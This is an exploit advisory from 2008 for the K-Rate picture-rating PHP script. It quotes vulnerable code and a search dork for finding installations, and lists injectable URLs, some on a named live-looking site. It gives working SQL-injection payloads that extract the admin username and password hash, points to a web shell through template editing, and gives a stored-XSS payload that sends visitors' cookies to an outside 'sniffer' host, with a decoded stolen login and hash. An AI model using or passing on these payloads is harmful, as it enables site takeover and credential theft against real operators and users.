krate-sqlxss.txt

`================================================================================  
|| K-Rate SQL-INJECTION, XSS   
================================================================================  
  
Application: K-Rate  
------------  
  
Website: http://turn-k.net/k-rate  
--------  
  
Demo: http://kratedemo.com  
-----  
  
Version: All  
--------  
  
About: K-Rate picture rating script. Price 115$.  
------  
  
Googledork: Powered by K-Rate  
-----------  
  
Date: 01-07-2008  
-----  
  
Description:  
------------  
  
1) SQL-injection  
2) Active XSS  
3) Passive XSS  
  
  
[ SOME VULNERABLE CODE ]  
  
  
[ admin/includes/dele_cpac.php ]   
  
$result = mysql_query("SELECT * FROM $admtable WHERE a_id=$id") or die (mysql_error());  
  
  
[payments/payment_received.php]  
  
$res = mysql_query("SELECT * FROM $paytable WHERE p_id=$ord[order_id]") or die(mysql_error());  
  
  
[includes/functions.php]  
  
function id_to_url($id) {  
global $linktable;  
$result = mysql_query("SELECT l_url FROM $linktable WHERE l_id=$id") or die(mysql_error());  
...  
  
if (mysql_affected_rows() == 0) {  
$r = mysql_query("SELECT l_cat FROM $linktable WHERE l_id=$id");  
  
  
[modules/chat.php]  
  
if ($act == 'users') {  
$res = sql_query("SELECT * FROM $chatonlinetable LEFT JOIN $membtable ON $membtable.m_id=$chatonlinetable.co_user WHERE co_room=$room ORDER BY co_user ASC");  
  
  
[ SQL-INJECTION ]  
  
*) http://host/index.php?req=online&show=1[SQL]  
*) http://host/room/1[SQL]  
*) http://raterally.com/index.php?req=view&user=somegirl&id=2[SQL]&act=vote&image=3&voter=12&vote=3  
*) http://raterally.com/index.php?req=view&user=somegirl&id=2&act=vote&image=3[SQL]&voter=12&vote=3  
*) http://raterally.com/blog/somegirl[SQL]  
*) http://raterally.com/index.php?req=blog_edit&id=1[SQL]  
  
and other other other...  
  
===>>> Exploit:  
  
Must be authenticated as a regular user.  
  
http://host/index.php?req=blog_edit&id=-1 union select 1,2,version(),4,5,6/*  
  
http://host/room/-1 union select 1,version(),3,4/*  
  
http://host/index.php?req=blog_edit&id=-1 union select 1,2,adm_user,4,5,6 from rate_admins where adm_id=1/*   
  
http://host/index.php?req=blog_edit&id=-1 union select 1,2,adm_pass,4,5,6 from rate_admins where adm_id=1/*   
  
/* Admin Login - http://host/admin   
  
Manage Templates => web-shell */  
  
[ ACTIVE XSS ]  
  
*) in blog  
*) in gallery  
*) in forum  
  
===>>> Exploit:  
  
<script>img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie;</script>  
  
In sniff-log:   
YToyOntzOjQ6InVzZXIiO3M6NjoiY29yd2luIjtzOjQ6InBhc3MiO3M6MzI6IjFlOGVjNTkzMGE4ODk5MmU4MDJjZDFiYWU2YzA1OWNmIjt9  
  
Decode:  
  
<?php  
echo base64_decode("YToyOntzOjQ6InVzZXIiO3M6NjoiY29yd2luIjtzOjQ6InBhc3MiO3M6MzI6IjFlOGVjNTkzMGE4ODk5MmU4MDJjZDFiYWU2YzA1OWNmIjt9=");  
?>  
  
Login and password (MD5):  
  
a:2:{s:4:\"user\";s:6:\"corwin\";s:4:\"pass\";s:32:\"1e8ec5930a88992e802cd1bae6c059cf\";}  
  
[ PASSIVE XSS :) ]  
  
http://host/index.php?req=view&user=somegirl&id=2&act=vote&image=3&voter=12&vote=3[XSS]  
  
and other other bugz ...  
  
  
Author: Corwin  
-------   
  
Contact: corwin88[dog]mail[dot]ru  
--------  
`